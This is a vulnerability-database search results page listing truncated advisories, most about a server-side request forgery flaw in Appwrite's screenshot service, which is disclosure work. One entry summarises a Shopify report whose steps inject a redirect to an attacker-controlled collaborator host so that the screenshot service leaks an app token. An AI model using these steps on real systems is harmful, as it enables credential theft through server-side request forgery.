9 matches found
EUVD-2026-97127
A weakness has been identified in Appwrite up to 2.3.0. This vulnerability affects the function PublicHostname of the file src/Appwrite/Platform/Modules/Avatars/Http/Screenshots/Get.php of the component Browser Screenshot Service. This manipulation of the argument url causes server-side request...
CVE-2026-108770
A weakness has been identified in Appwrite up to 2.3.0. This vulnerability affects the function PublicHostname of the file src/Appwrite/Platform/Modules/Avatars/Http/Screenshots/Get.php of the component Browser Screenshot Service. This manipulation of the argument url causes server-side request...
CVE-2026-108770 Appwrite Browser Screenshot Service Get.php PublicHostname server-side request forgery
A weakness has been identified in Appwrite up to 2.3.0. This vulnerability affects the function PublicHostname of the file src/Appwrite/Platform/Modules/Avatars/Http/Screenshots/Get.php of the component Browser Screenshot Service. This manipulation of the argument url causes server-side request...
CVE-2026-108770 Appwrite Browser Screenshot Service Get.php PublicHostname server-side request forgery
A weakness has been identified in Appwrite up to 2.3.0. This vulnerability affects the function PublicHostname of the file src/Appwrite/Platform/Modules/Avatars/Http/Screenshots/Get.php of the component Browser Screenshot Service. This manipulation of the argument url causes server-side request...
CVE-2026-108770
The Appwrite platform, specifically the Browser Screenshot Service component in versions up to 2.3.0 , is vulnerable to a Server-Side Request Forgery (SSRF) . The root cause is the improper handling of the url argument within the PublicHostname function of the file src/Appwrite/Platform/Modules/A...
PT-2026-110348
Name of the Vulnerable Software and Affected Versions Appwrite versions prior to 2.4.0 Description An issue exists in the Browser Screenshot Service component within the PublicHostname function of the src/Appwrite/Platform/Modules/Avatars/Http/Screenshots/Get.php file. Remote manipulation of the...
CVE-2026-108770: Server-Side Request Forgery (SSRF)
A weakness has been identified in Appwrite up to 2.3.0. This vulnerability affects the function PublicHostname of the file src/Appwrite/Platform/Modules/Avatars/Http/Screenshots/Get.php of the component Browser Screenshot Service. This manipulation of the argument url causes server-side request...
EUVD-2026-28387
Weblate Vulnerable to Private Translation Enumeration via Screenshot API...
Shopify: Screenshot Service leaks X-ABS-App-Token
Login and create a development store 2. Start Burp Suite and open a burp collaborator client then copy the collaborator payload 3. Edit the section header.liquid of your current theme. Adding this: window.location="https://pasteherecollaborator/"; Finally go to...